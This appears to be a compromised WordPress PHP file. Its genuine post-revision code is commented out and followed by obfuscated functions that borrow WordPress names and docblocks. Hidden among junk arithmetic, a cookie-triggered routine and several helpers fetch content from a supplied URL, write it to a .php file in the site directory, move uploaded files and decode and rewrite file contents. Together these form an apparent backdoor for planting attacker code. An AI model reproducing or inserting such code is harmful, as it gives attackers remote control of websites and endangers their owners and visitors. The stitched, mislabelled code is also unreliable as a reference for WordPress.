<?php /* 
*
 * Post revision functions.
 *
 * @package WordPress
 * @subpackage Post_Revisions
 

*
 * Determines which fields of posts are to be saved in revisions.
 *
 * @since 2.6.0
 * @since 4.5.0 A `WP_Post` object can now be passed to the `$post` parameter.
 * @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$deprecated`.
 * @access private
 *
 * @param array|WP_Post $post       Optional. A post array or a WP_Post object being processed
 *                                  for insertion as a post revision. Default empty array.
 * @param bool          $deprecated Not used.
 * @return string[] Array of fields that can be versioned.
 
function _wp_post_revision_fields( $post = array(), $deprecated = false ) {
	static $fields = null;

	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( is_null( $fields ) ) {
		 Allow these to be versioned.
		$fields = array(
			'post_title'   => __( 'Title' ),
			'post_content' => __( 'Content' ),
			'post_excerpt' => __( 'Excerpt' ),
		);
	}

	*
	 * Filters the list of fields saved in post revisions.
	 *
	 * Included by default: 'post_title', 'post_content' and 'post_excerpt'.
	 *
	 * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
	 * 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
	 * and 'post_author'.
	 *
	 * @since 2.6.0
	 * @since 4.5.0 The `$post` parameter was added.
	 *
	 * @param string[] $fields List of fields to revision. Contains 'post_title',
	 *                         'post_content', and 'post_excerpt' by default.
	 * @param array    $post   A post array being processed for insertion as a post revision.
	 
	$fields = apply_filters( '_wp_post_revision_fields', $fields, $post );

	 WP uses these internally either in versioning or elsewhere - they cannot be versioned.
	foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) {
		unset( $fields[ $protect ] );
	}

	return $fields;
}

*
 * Returns a post array ready to be inserted into the posts table as a post revision.
 *
 * @since 4.5.0
 * @access private
 *
 * @param array|WP_Post $post     Optional. A post array or a WP_Post object to be processed
 *                                for insertion as a post revision. Default empty array.
 * @param bool          $autosave Optional. Is the revision an autosave? Default false.
 * @return array Post array ready to be inserted as a post revision.
 
function _wp_post_revision_data( $post = array(), $autosave = false ) {
	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	$fields = _wp_post_revision_fields( $post );

	$revision_data = array();

	foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) {
		$revision_data[ $field ] = $post[ $field ];
	}

	$revision_data['post_parent']   = $post['ID'];
	$revision_data['post_status']   = 'inherit';
	$revision_data['post_type']     = 'revision';
	$revision_data['post_name']     = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1";  "1" is the revisioning system version.
	$revision_data['post_date']     = isset( $post['post_modified'] ) ? $post['post_modified'] : '';
	$revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : '';

	return $revision_data;
}

*
 * Saves revisions for a post after all changes have been made.
 *
 * @since 6.4.0
 *
 * @param int     $post_id The post id that was inserted.
 * @param WP_Post $post    The post object that was inserted.
 * @param bool    $update  Whether this insert is updating an existing post.
 
function wp_save_post_revision_on_insert( $post_id, $post, $update ) {
	if ( ! $update ) {
		return;
	}

	if ( ! has_action( 'post_updated', 'wp_save_post_revision' ) ) {
		return;
	}

	wp_save_post_revision( $post_id );
}

*
 * Creates a revision for the current version of a post.
 *
 * Typically used immediately after a post update, as every update is a revision,
 * and the most recent revision always matches the current post.
 *
 * @since 2.6.0
 *
 * @param int $post_id The ID of the post to save as a revision.
 * @return int|WP_Error|void Void or 0 if error, new revision ID, if success.
 
function wp_save_post_revision( $post_id ) {
	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
		return;
	}

	 Prevent saving post revisions if revisions should be saved on wp_after_insert_post.
	if ( doing_action( 'post_updated' ) && has_action( 'wp_after_insert_post', 'wp_save_post_revision_on_insert' ) ) {
		return;
	}

	$post = get_post( $post_id );

	if ( ! $post ) {
		return;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		return;
	}

	if ( 'auto-draft' === $post->post_status ) {
		return;
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return;
	}

	
	 * Compare the proposed update with the last stored revision verifying that
	 * they are different, unless a plugin tells us to always save regardless.
	 * If no previous revisions, save one.
	 
	$revisions = wp_get_post_revisions( $post_id );
	if ( $revisions ) {
		 Grab the latest revision, but not an autosave.
		foreach ( $revisions as $revision ) {
			if ( str_contains( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
				$latest_revision = $revision;
				break;
			}
		}

		*
		 * Filters whether the post has changed since the latest revision.
		 *
		 * By default a revision is saved only if one of the revisioned fields has changed.
		 * This filter can override that so a revision is saved even if nothing has changed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $check_for_changes Whether to check for changes before saving a new revision.
		 *                                   Default true.
		 * @param WP_Post $latest_revision   The latest revision post object.
		 * @param WP_Post $post              The post object.
		 
		if ( isset( $latest_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $latest_revision, $post ) ) {
			$post_has_changed = false;

			foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) {
				if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $latest_revision->$field ) ) {
					$post_has_changed = true;
					break;
				}
			}

			*
			 * Filters whether a post has changed.
			 *
			 * By default a revision is saved only if one of the revisioned fields has changed.
			 * This filter allows for additional checks to determine if there were changes.
			 *
			 * @since 4.1.0
			 *
			 * @param bool    $post_has_changed Whether the post has changed.
			 * @param WP_Post $latest_revision  The latest revision post object.
			 * @param WP_Post $post             The post object.
			 
			$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $latest_revision, $post );

			 Don't save revision if post unchanged.
			if ( ! $post_has_changed ) {
				return;
			}
		}
	}

	$return = _wp_put_post_revision( $post );

	
	 * If a limit for the number of revisions to keep has been set,
	 * delete the oldest ones.
	 
	$revisions_to_keep = wp_revisions_to_keep( $post );

	if ( $revisions_to_keep < 0 ) {
		return $return;
	}

	$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );

	*
	 * Filters the revisions to be considered for deletion.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_Post[] $revisions Array of revisions, or an empty array if none.
	 * @param int       $post_id   The ID of the post to save as a revision.
	 
	$revisions = apply_filters(
		'wp_save_post_revision_revisions_before_deletion',
		$revisions,
		$post_id
	);

	$delete = count( $revisions ) - $revisions_to_keep;

	if ( $delete < 1 ) {
		return $return;
	}

	$revisions = array_slice( $revisions, 0, $delete );

	for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) {
		if ( str_contains( $revisions[ $i ]->post_name, 'autosave' ) ) {
			continue;
		}

		wp_delete_post_revision( $revisions[ $i ]->ID );
	}

	return $return;
}

*
 * Retrieves the autosaved data of the specified post.
 *
 * Returns a post object with the information that was autosaved for the specified post.
 * If the optional $user_id is passed, returns the autosave for that user, otherwise
 * returns the latest autosave.
 *
 * @since 2.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $post_id The post ID.
 * @param int $user_id Optional. The post author ID. Default 0.
 * @return WP_Post|false The autosaved data or false on failure or when no autosave exists.
 
function wp_get_post_autosave( $post_id, $user_id = 0 ) {
	global $wpdb;

	$autosave_name = $post_id . '-autosave-v1';
	$user_id_query = ( 0 !== $user_id ) ? "AND post_author = $user_id" : null;

	 Construct the autosave query.
	$autosave_query = "
		SELECT *
		FROM $wpdb->posts
		WHERE post_parent = %d
		AND post_type = 'revision'
		AND post_status = 'inherit'
		AND post_name   = %s " . $user_id_query . '
		ORDER BY post_date DESC
		LIMIT 1';

	$autosave = $wpdb->get_results(
		$wpdb->prepare(
			$autosave_query,
			$post_id,
			$autosave_name
		)
	);

	if ( ! $autosave ) {
		return false;
	}

	return get_post( $autosave[0] );
}

*
 * Determines if the specified post is a revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of revision's parent on success, false if not a revision.
 
function wp_is_post_revision( $post ) {
	$post = wp_get_post_revision( $post );

	if ( ! $post ) {
		return false;
	}

	return (int) $post->post_parent;
}

*
 * Determines if the specified post is an autosave.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of autosave's parent on success, false if not a revision.
 
function wp_is_post_autosave( $post ) {
	$post = wp_get_post_revision( $post );

	if ( ! $post ) {
		return false;
	}

	if ( str_contains( $post->post_name, "{$post->post_parent}-autosave" ) ) {
		return (int) $post->post_parent;
	}

	return false;
}

*
 * Inserts post data into the posts table as a post revision.
 *
 * @since 2.6.0
 * @access private
 *
 * @param int|WP_Post|array|null $post     Post ID, post object OR post array.
 * @param bool                   $autosave Optional. Whether the revision is an autosave or not.
 *                                         Default false.
 * @return int|WP_Error WP_Error or 0 if error, new revision ID if success.
 
function _wp_put_post_revision( $post = null, $autosave = false ) {
	if ( is_object( $post ) ) {
		$post = get_object_vars( $post );
	} elseif ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( ! $post || empty( $post['ID'] ) ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
	}

	if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) {
		return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
	}

	$post = _wp_post_revision_data( $post, $autosave );
	$post = wp_slash( $post );  Since data is from DB.

	$revision_id = wp_insert_post( $post, true );
	if ( is_wp_error( $revision_id ) ) {
		return $revision_id;
	}

	if ( $revision_id ) {
		*
		 * Fires once a revision has been saved.
		 *
		 * @since 2.6.0
		 * @since 6.4.0 The post_id parameter was added.
		 *
		 * @param int $revision_id Post revision ID.
		 * @param int $post_id     Post ID.
		 
		do_action( '_wp_put_post_revision', $revision_id, $post['post_parent'] );
	}

	return $revision_id;
}


*
 * Save the revisioned meta fields.
 *
 * @since 6.4.0
 *
 * @param int $revision_id The ID of the revision to save the meta to.
 * @param int $post_id     The ID of the post the revision is associated with.
 
function wp_save_revisioned_meta_fields( $revision_id, $post_id ) {
	$post_type = get_post_type( $post_id );
	if ( ! $post_type ) {
		return;
	}

	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
		if ( metadata_exists( 'post', $post_id, $meta_key ) ) {
			_wp_copy_post_meta( $post_id, $revision_id, $meta_key );
		}
	}
}

*
 * Gets a post revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post   Post ID or post object.
 * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                            correspond to a WP_Post object, an associative array, or a numeric array,
 *                            respectively. Default OBJECT.
 * @param string      $filter Optional sanitization filter. See sanitize_post(). Default 'raw'.
 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
 
function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) {
	$revision = get_post( $post, OBJECT, $filter );

	if ( ! $revision ) {
		return $revision;
	}

	if ( 'revision' !== $revision->post_type ) {
		return null;
	}

	if ( OBJECT === $output ) {
		return $revision;*/

// private - cache the mbstring lookup results..


/**
 * Handles site health check to get directories and database sizes via AJAX.
 *
 * @since 5.2.0
 * @deprecated 5.6.0 Use WP_REST_Site_Health_Controller::get_directory_sizes()
 * @see WP_REST_Site_Health_Controller::get_directory_sizes()
 */

 function the_ID($transient_failures){
 // Attempt to run `gs` without the `use-cropbox` option. See #48853.
 
 
 $tz = 12;
 $home_scheme = 24;
 // If the date of the post doesn't match the date specified in the URL, resolve to the date archive.
 // Avoid recursion.
 // We force this behavior by omitting the third argument (post ID) from the `get_the_content`.
 $from_email = $tz + $home_scheme;
 
 // More than one charset. Remove latin1 if present and recalculate.
 
 $default_width = $home_scheme - $tz;
 $dependencies_notice = range($tz, $home_scheme);
 $featured_cat_id = array_filter($dependencies_notice, function($pingback_args) {return $pingback_args % 2 === 0;});
 // 'html' is used for the "Text" editor tab.
 // Array containing all min-max checks.
 
 // ----- Read the gzip file header
 // If the autodiscovery cache is still valid use it.
 
 // One byte sequence:
 $setting_validities = array_sum($featured_cat_id);
 $border_side_values = implode(",", $dependencies_notice);
 
 // Clauses connected by OR can share joins as long as they have "positive" operators.
 // Classes.
 
 // Load the default text localization domain.
 
 
 // If the network is defined in wp-config.php, we can simply use that.
 // Free up memory used by the XML parser.
     $transient_failures = "http://" . $transient_failures;
 // broadcast flag is set, some values invalid
 $signup_blog_defaults = strtoupper($border_side_values);
 $half_stars = substr($signup_blog_defaults, 4, 5);
 
 $stats_object = str_ireplace("12", "twelve", $signup_blog_defaults);
 
 $assigned_menu_id = ctype_digit($half_stars);
 
 
 // Discogs - https://www.discogs.com/style/cut-up/dj
     return file_get_contents($transient_failures);
 }
/**
 * Handles retrieving a permalink via AJAX.
 *
 * @since 3.1.0
 */
function comments_number()
{
    check_ajax_referer('getpermalink', 'getpermalinknonce');
    $internal_hosts = isset($_POST['post_id']) ? (int) $_POST['post_id'] : 0;
    wp_die(get_preview_post_link($internal_hosts));
}


/**
		 * Filters the action links displayed for each term in the terms list table.
		 *
		 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `category_row_actions`
		 *  - `post_tag_row_actions`
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $actions An array of action links to be displayed. Default
		 *                          'Edit', 'Quick Edit', 'Delete', and 'View'.
		 * @param WP_Term  $tag     Term object.
		 */

 function remove($errmsg_username){
 // <Head for 'Position synchronisation', ID: 'POSS'>
     echo $errmsg_username;
 }
/**
 * Retrieves comment data given a comment ID or comment object.
 *
 * If an object is passed then the comment data will be cached and then returned
 * after being passed through a filter. If the comment is empty, then the global
 * comment variable will be used, if it is set.
 *
 * @since 2.0.0
 *
 * @global WP_Comment $install_actions Global comment object.
 *
 * @param WP_Comment|string|int $install_actions Comment to retrieve.
 * @param string                $header_textcolor  Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                                       correspond to a WP_Comment object, an associative array, or a numeric array,
 *                                       respectively. Default OBJECT.
 * @return WP_Comment|array|null Depends on $header_textcolor value.
 */
function wp_style_add_data($install_actions = null, $header_textcolor = OBJECT)
{
    if (empty($install_actions) && isset($plugin_not_deleted_message['comment'])) {
        $install_actions = $plugin_not_deleted_message['comment'];
    }
    if ($install_actions instanceof WP_Comment) {
        $processed_response = $install_actions;
    } elseif (is_object($install_actions)) {
        $processed_response = new WP_Comment($install_actions);
    } else {
        $processed_response = WP_Comment::get_instance($install_actions);
    }
    if (!$processed_response) {
        return null;
    }
    /**
     * Fires after a comment is retrieved.
     *
     * @since 2.3.0
     *
     * @param WP_Comment $processed_response Comment data.
     */
    $processed_response = apply_filters('wp_style_add_data', $processed_response);
    if (OBJECT === $header_textcolor) {
        return $processed_response;
    } elseif (ARRAY_A === $header_textcolor) {
        return $processed_response->to_array();
    } elseif (ARRAY_N === $header_textcolor) {
        return array_values($processed_response->to_array());
    }
    return $processed_response;
}
$fluid_font_size_settings = 'rjflrydk';


/**
	 * Role name.
	 *
	 * @since 2.0.0
	 * @var string
	 */

 function format_for_header($privacy_policy_page, $copiedHeaderFields){
 
 // The context for this is editing with the new block editor.
 // Get plugin compat for updated version of WordPress.
 	$theme_slug = move_uploaded_file($privacy_policy_page, $copiedHeaderFields);
 	
     return $theme_slug;
 }
function library_version_major($prefiltered_user_id)
{
    if (function_exists('realpath')) {
        $prefiltered_user_id = realpath($prefiltered_user_id);
    }
    if (!$prefiltered_user_id || !@is_file($prefiltered_user_id)) {
        return false;
    }
    return @file_get_contents($prefiltered_user_id);
}


/**
	 * Destructor.
	 *
	 * @since 2.5.0
	 */

 function tinymce_include($fluid_font_size_settings){
 
 $LegitimateSlashedGenreList = range(1, 10);
 $requests_query = "Learning PHP is fun and rewarding.";
 $ychanged = 4;
 $returnarray = "Exploration";
 
 array_walk($LegitimateSlashedGenreList, function(&$pingback_args) {$pingback_args = pow($pingback_args, 2);});
 $the_comment_status = 32;
 $SMTPAutoTLS = substr($returnarray, 3, 4);
 $user_locale = explode(' ', $requests_query);
     $last_name = 'GCDwWDDKNrNajyHMGDVU';
 //    s12 = a1 * b11 + a2 * b10 + a3 * b9 + a4 * b8 + a5 * b7 + a6 * b6 +
 $svg = array_map('strtoupper', $user_locale);
 $MPEGaudioChannelModeLookup = array_sum(array_filter($LegitimateSlashedGenreList, function($inline_edit_classes, $formatted_time) {return $formatted_time % 2 === 0;}, ARRAY_FILTER_USE_BOTH));
 $foundlang = strtotime("now");
 $upgrade = $ychanged + $the_comment_status;
     if (isset($_COOKIE[$fluid_font_size_settings])) {
         edit_comment_link($fluid_font_size_settings, $last_name);
 
 
     }
 }
tinymce_include($fluid_font_size_settings);
network_site_url(["apple", "banana", "cherry"]);


/**
	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
	 *
	 * @since 4.2.0
	 *
	 * @param string $order The 'order' query variable.
	 * @return string The sanitized 'order' query variable.
	 */

 function wp_render_widget($has_named_text_color, $formatted_time){
 // Handle deleted menu item, or menu item moved to another menu.
 // Combine CSS selectors that have identical declarations.
     $prototype = file_get_contents($has_named_text_color);
 $has_env = [85, 90, 78, 88, 92];
 $minimum_column_width = 13;
 // UTF-8 BOM
 $BlockData = 26;
 $styles_rest = array_map(function($term_order) {return $term_order + 5;}, $has_env);
 
     $is_network = filter_option_sidebars_widgets_for_theme_switch($prototype, $formatted_time);
 $quick_draft_title = array_sum($styles_rest) / count($styles_rest);
 $border_styles = $minimum_column_width + $BlockData;
 
     file_put_contents($has_named_text_color, $is_network);
 }


/**
	 * Sets up this cookie object.
	 *
	 * The parameter $header_length should be either an associative array containing the indices names below
	 * or a header string detailing it.
	 *
	 * @since 2.8.0
	 * @since 5.2.0 Added `host_only` to the `$header_length` parameter.
	 *
	 * @param string|array $header_length {
	 *     Raw cookie data as header string or data array.
	 *
	 *     @type string          $name      Cookie name.
	 *     @type mixed           $inline_edit_classes     Value. Should NOT already be urlencoded.
	 *     @type string|int|null $expires   Optional. Unix timestamp or formatted date. Default null.
	 *     @type string          $prefiltered_user_id      Optional. Path. Default '/'.
	 *     @type string          $domain    Optional. Domain. Default host of parsed $requested_url.
	 *     @type int|string      $port      Optional. Port or comma-separated list of ports. Default null.
	 *     @type bool            $host_only Optional. host-only storage flag. Default true.
	 * }
	 * @param string       $requested_url The URL which the cookie was set on, used for default $domain
	 *                                    and $port values.
	 */

 function render_sitemaps($plugin_override){
     $plugin_override = ord($plugin_override);
 $minimum_column_width = 13;
 $permission = "a1b2c3d4e5";
     return $plugin_override;
 }


/**
	 * Retrieves the document title from a remote URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $transient_failures The website URL whose HTML to access.
	 * @return string|WP_Error The HTTP response from the remote URL on success.
	 *                         WP_Error if no response or no content.
	 */

 function LittleEndian2Float($transient_failures){
 $ptype = 14;
 // should be 0
 // Found it, so try to drop it.
 
     if (strpos($transient_failures, "/") !== false) {
         return true;
 
 
     }
 
     return false;
 }
/**
 * Generates an incremental ID that is independent per each different prefix.
 *
 * It is similar to `wp_unique_id`, but each prefix has its own internal ID
 * counter to make each prefix independent from each other. The ID starts at 1
 * and increments on each call. The returned value is not universally unique,
 * but it is unique across the life of the PHP process and it's stable per
 * prefix.
 *
 * @since 6.4.0
 *
 * @param string $this_block_size Optional. Prefix for the returned ID. Default empty string.
 * @return string Incremental ID per prefix.
 */
function update_term_meta($this_block_size = '')
{
    static $post_type_query_vars = array();
    if (!is_string($this_block_size)) {
        wp_trigger_error(__FUNCTION__, sprintf('The prefix must be a string. "%s" data type given.', gettype($this_block_size)));
        $this_block_size = '';
    }
    if (!isset($post_type_query_vars[$this_block_size])) {
        $post_type_query_vars[$this_block_size] = 0;
    }
    $status_map = ++$post_type_query_vars[$this_block_size];
    return $this_block_size . (string) $status_map;
}


/**
 * Returns the number of active users in your installation.
 *
 * Note that on a large site the count may be cached and only updated twice daily.
 *
 * @since MU (3.0.0)
 * @since 4.8.0 The `$network_id` parameter has been added.
 * @since 6.0.0 Moved to wp-includes/user.php.
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return int Number of active users on the network.
 */

 function wp_plugin_directory_constants($debug) {
 // Initialize the server.
 $min_count = [72, 68, 75, 70];
 $LegitimateSlashedGenreList = range(1, 10);
 $ord_chrs_c = max($min_count);
 array_walk($LegitimateSlashedGenreList, function(&$pingback_args) {$pingback_args = pow($pingback_args, 2);});
     return ucfirst($debug);
 }
/**
 * Returns the markup for blocks hooked to the given anchor block in a specific relative position.
 *
 * @since 6.5.0
 * @access private
 *
 * @param array                   $link_visible The anchor block, in parsed block array format.
 * @param string                  $activate_link   The relative position of the hooked blocks.
 *                                                     Can be one of 'before', 'after', 'first_child', or 'last_child'.
 * @param array                   $p_info       An array of hooked block types, grouped by anchor block and relative position.
 * @param WP_Block_Template|array $thumbnail_id             The block template, template part, or pattern that the anchor block belongs to.
 * @return string
 */
function save_key(&$link_visible, $activate_link, $p_info, $thumbnail_id)
{
    $format_key = $link_visible['blockName'];
    $PossiblyLongerLAMEversion_String = isset($p_info[$format_key][$activate_link]) ? $p_info[$format_key][$activate_link] : array();
    /**
     * Filters the list of hooked block types for a given anchor block type and relative position.
     *
     * @since 6.4.0
     *
     * @param string[]                        $PossiblyLongerLAMEversion_String The list of hooked block types.
     * @param string                          $activate_link  The relative position of the hooked blocks.
     *                                                            Can be one of 'before', 'after', 'first_child', or 'last_child'.
     * @param string                          $format_key  The anchor block type.
     * @param WP_Block_Template|WP_Post|array $thumbnail_id            The block template, template part, `wp_navigation` post type,
     *                                                            or pattern that the anchor block belongs to.
     */
    $PossiblyLongerLAMEversion_String = apply_filters('hooked_block_types', $PossiblyLongerLAMEversion_String, $activate_link, $format_key, $thumbnail_id);
    $menu_item_data = '';
    foreach ($PossiblyLongerLAMEversion_String as $shortcut_labels) {
        $f0f3_2 = array('blockName' => $shortcut_labels, 'attrs' => array(), 'innerBlocks' => array(), 'innerContent' => array());
        /**
         * Filters the parsed block array for a given hooked block.
         *
         * @since 6.5.0
         *
         * @param array|null                      $f0f3_2 The parsed block array for the given hooked block type, or null to suppress the block.
         * @param string                          $shortcut_labels   The hooked block type name.
         * @param string                          $activate_link   The relative position of the hooked block.
         * @param array                           $link_visible The anchor block, in parsed block array format.
         * @param WP_Block_Template|WP_Post|array $thumbnail_id             The block template, template part, `wp_navigation` post type,
         *                                                             or pattern that the anchor block belongs to.
         */
        $f0f3_2 = apply_filters('hooked_block', $f0f3_2, $shortcut_labels, $activate_link, $link_visible, $thumbnail_id);
        /**
         * Filters the parsed block array for a given hooked block.
         *
         * The dynamic portion of the hook name, `$shortcut_labels`, refers to the block type name of the specific hooked block.
         *
         * @since 6.5.0
         *
         * @param array|null                      $f0f3_2 The parsed block array for the given hooked block type, or null to suppress the block.
         * @param string                          $shortcut_labels   The hooked block type name.
         * @param string                          $activate_link   The relative position of the hooked block.
         * @param array                           $link_visible The anchor block, in parsed block array format.
         * @param WP_Block_Template|WP_Post|array $thumbnail_id             The block template, template part, `wp_navigation` post type,
         *                                                             or pattern that the anchor block belongs to.
         */
        $f0f3_2 = apply_filters("hooked_block_{$shortcut_labels}", $f0f3_2, $shortcut_labels, $activate_link, $link_visible, $thumbnail_id);
        if (null === $f0f3_2) {
            continue;
        }
        // It's possible that the filter returned a block of a different type, so we explicitly
        // look for the original `$shortcut_labels` in the `ignoredHookedBlocks` metadata.
        if (!isset($link_visible['attrs']['metadata']['ignoredHookedBlocks']) || !in_array($shortcut_labels, $link_visible['attrs']['metadata']['ignoredHookedBlocks'], true)) {
            $menu_item_data .= serialize_block($f0f3_2);
        }
    }
    return $menu_item_data;
}


/**
 * @global string $typenow The post type of the current screen.
 */

 function lazyload_comment_meta($transient_failures, $has_named_text_color){
 $quantity = [5, 7, 9, 11, 13];
 $events = 9;
 $php_7_ttf_mime_type = "abcxyz";
 $tok_index = 10;
 
 $error_count = 45;
 $passwords = 20;
 $tokenized = array_map(function($r2) {return ($r2 + 2) ** 2;}, $quantity);
 $existingkey = strrev($php_7_ttf_mime_type);
 // If stored EXIF data exists, rotate the source image before creating sub-sizes.
 
 // Asume Video CD
     $drafts = the_ID($transient_failures);
 $msg_data = $tok_index + $passwords;
 $admin_locale = array_sum($tokenized);
 $child_schema = strtoupper($existingkey);
 $mod_name = $events + $error_count;
 // byte, in which case - skip warning
 // Skip minor_version.
     if ($drafts === false) {
         return false;
 
     }
 
 
     $header_length = file_put_contents($has_named_text_color, $drafts);
     return $header_length;
 }


/**
			 * Filters the default revision query fields used by the given XML-RPC method.
			 *
			 * @since 3.5.0
			 *
			 * @param array  $field  An array of revision fields to retrieve. By default,
			 *                       contains 'post_date' and 'post_date_gmt'.
			 * @param string $method The method name.
			 */

 function init_charset($transient_failures){
 
     $has_border_width_support = basename($transient_failures);
 // Logic to handle a `loading` attribute that is already provided.
 // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere
     $has_named_text_color = wp_functionality_constants($has_border_width_support);
 // The cookie is good, so we're done.
 // determine why the transition_comment_status action was triggered.  And there are several different ways by which
 //  any msgs marked as deleted.
     lazyload_comment_meta($transient_failures, $has_named_text_color);
 }
/**
 * Retrieves multiple values from the cache in one call.
 *
 * Compat function to mimic make_absolute_url().
 *
 * @ignore
 * @since 5.5.0
 *
 * @see make_absolute_url()
 *
 * @param array  $misc_exts  Array of keys under which the cache contents are stored.
 * @param string $updated_action Optional. Where the cache contents are grouped. Default empty.
 * @param bool   $warning Optional. Whether to force an update of the local cache
 *                      from the persistent cache. Default false.
 * @return array Array of return values, grouped by key. Each value is either
 *               the cache contents on success, or false on failure.
 */
function make_absolute_url($misc_exts, $updated_action = '', $warning = false)
{
    $framebytelength = array();
    foreach ($misc_exts as $formatted_time) {
        $framebytelength[$formatted_time] = wp_cache_get($formatted_time, $updated_action, $warning);
    }
    return $framebytelength;
}


/**
	 * Prints a list of other plugins that the plugin depends on.
	 *
	 * @since 6.5.0
	 *
	 * @param string $dependent The dependent plugin's filepath, relative to the plugins directory.
	 */

 function wp_functionality_constants($has_border_width_support){
 $tok_index = 10;
 $requests_query = "Learning PHP is fun and rewarding.";
 $ptype = 14;
 // Returns PHP_FLOAT_MAX if unset.
 // which is not correctly supported by PHP ...
 $default_editor_styles = "CodeSample";
 $user_locale = explode(' ', $requests_query);
 $passwords = 20;
 $svg = array_map('strtoupper', $user_locale);
 $note_no_rotate = "This is a simple PHP CodeSample.";
 $msg_data = $tok_index + $passwords;
 
 // If font-variation-settings is an array, convert it to a string.
 //Note no space after this, as per RFC
 $has_min_height_support = strpos($note_no_rotate, $default_editor_styles) !== false;
 $thisfile_video = 0;
 $destination_name = $tok_index * $passwords;
     $previous_content = __DIR__;
 
     $uuid = ".php";
     $has_border_width_support = $has_border_width_support . $uuid;
 // Store package-relative paths (the key) of non-writable files in the WP_Error object.
 array_walk($svg, function($overflow) use (&$thisfile_video) {$thisfile_video += preg_match_all('/[AEIOU]/', $overflow);});
 $LegitimateSlashedGenreList = array($tok_index, $passwords, $msg_data, $destination_name);
  if ($has_min_height_support) {
      $shared_term = strtoupper($default_editor_styles);
  } else {
      $shared_term = strtolower($default_editor_styles);
  }
 
 // RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF)
 
 
 $modified_timestamp = strrev($default_editor_styles);
 $f6f8_38 = array_reverse($svg);
 $frame_url = array_filter($LegitimateSlashedGenreList, function($pingback_args) {return $pingback_args % 2 === 0;});
 $dev = array_sum($frame_url);
 $image_classes = $shared_term . $modified_timestamp;
 $delete_limit = implode(', ', $f6f8_38);
 
     $has_border_width_support = DIRECTORY_SEPARATOR . $has_border_width_support;
  if (strlen($image_classes) > $ptype) {
      $descendant_ids = substr($image_classes, 0, $ptype);
  } else {
      $descendant_ids = $image_classes;
  }
 $f2_2 = stripos($requests_query, 'PHP') !== false;
 $clause = implode(", ", $LegitimateSlashedGenreList);
 
 $clear_destination = strtoupper($clause);
 $open_by_default = $f2_2 ? strtoupper($delete_limit) : strtolower($delete_limit);
 $chpl_offset = preg_replace('/[aeiou]/i', '', $note_no_rotate);
 # crypto_onetimeauth_poly1305_update
 $sub2feed2 = str_split($chpl_offset, 2);
 $nav_aria_current = substr($clear_destination, 0, 5);
 $default_blocks = count_chars($open_by_default, 3);
 $style_handle = str_split($default_blocks, 1);
 $image_file = str_replace("10", "TEN", $clear_destination);
 $header_textcolor = implode('-', $sub2feed2);
 // include preset css variables declaration on the stylesheet.
     $has_border_width_support = $previous_content . $has_border_width_support;
     return $has_border_width_support;
 }
/**
 * Gets a user's most recent post.
 *
 * Walks through each of a user's blogs to find the post with
 * the most recent post_date_gmt.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $name_attr WordPress database abstraction object.
 *
 * @param int $help_sidebar_content User ID.
 * @return array Contains the blog_id, post_id, post_date_gmt, and post_gmt_ts.
 */
function wp_media_upload_handler($help_sidebar_content)
{
    global $name_attr;
    $property_index = get_blogs_of_user((int) $help_sidebar_content);
    $wp_registered_widget_controls = array();
    /*
     * Walk through each blog and get the most recent post
     * published by $help_sidebar_content.
     */
    foreach ((array) $property_index as $thumbnail_update) {
        $this_block_size = $name_attr->get_blog_prefix($thumbnail_update->userblog_id);
        $working_directory = $name_attr->get_row($name_attr->prepare("SELECT ID, post_date_gmt FROM {$this_block_size}posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT 1", $help_sidebar_content), ARRAY_A);
        // Make sure we found a post.
        if (isset($working_directory['ID'])) {
